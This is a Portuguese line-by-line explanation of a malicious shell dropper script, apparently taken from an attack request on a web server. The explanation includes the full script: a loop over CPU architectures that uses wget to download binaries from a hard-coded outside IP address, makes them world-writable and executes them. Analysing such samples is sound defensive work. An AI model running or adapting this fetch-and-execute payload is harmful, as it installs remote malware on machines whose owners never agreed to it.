Linha por linha:
#!/bin/sh
Estabelece o shell sh
, o que for, como a linha shebang. sh%20/tmp/ks
na solicitação sobrescreve isso, portanto, essa linha é tratada como um comentário normal e ignorada.
u="asgknskjdgn"
Declara um nome arbitrário, presumivelmente para evitar colidir com outros nomes de arquivos. Não sei por que eles não usam apenas mktemp
, mas talvez isso não esteja disponível em todas as plataformas.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera várias arquiteturas de CPU comuns.
http_server="80.211.173.159"
http_port=80
O servidor que possui o exploit.
cd /tmp/||cd /var/
Tenta mudar o diretório para algum lugar em que seu servidor da web possa criar arquivos. Acredito que o SELinux ajudará com isso, impondo regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos faz sozinho.
for name in $bin_names
do
Para cada arquitetura de CPU…
rm -rf $u
Remove programas de exploração previamente experimentados. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.
cp $SHELL $u
Copia o executável do shell atual ( /bin/sh
). Pode ser ignorado por causa da linha após o próximo.
chmod 777 $u
Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter sido feito após o comando wget
, que é um sinal de um novato de script de shell ou de uma técnica de direcionamento incorreto.
>$u
Esvazia o arquivo. Sem sentido por causa da próxima linha.
wget http://$http_server:$http_port/$name -O -> $u
Substitui o arquivo pelo script de exploração dessa arquitetura. -O -> $u
poderia ter sido escrito -O - > $u
(o hífen indica que o download deve ser gravado na saída padrão), o que equivale a -O $u
.
./$u $name
Executa o script de exploração com a arquitetura como o primeiro argumento.
done
Termina o loop.
Parece que este é um script de tentativa de exploração trivial, que tenta explorações conhecidas contra várias plataformas de CPU. Eu não sei porque substitui $u
três vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, essa versão anterior tinha as explorações codificadas em vez de serem servidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz com o tempo, à medida que os bugs são corrigidos.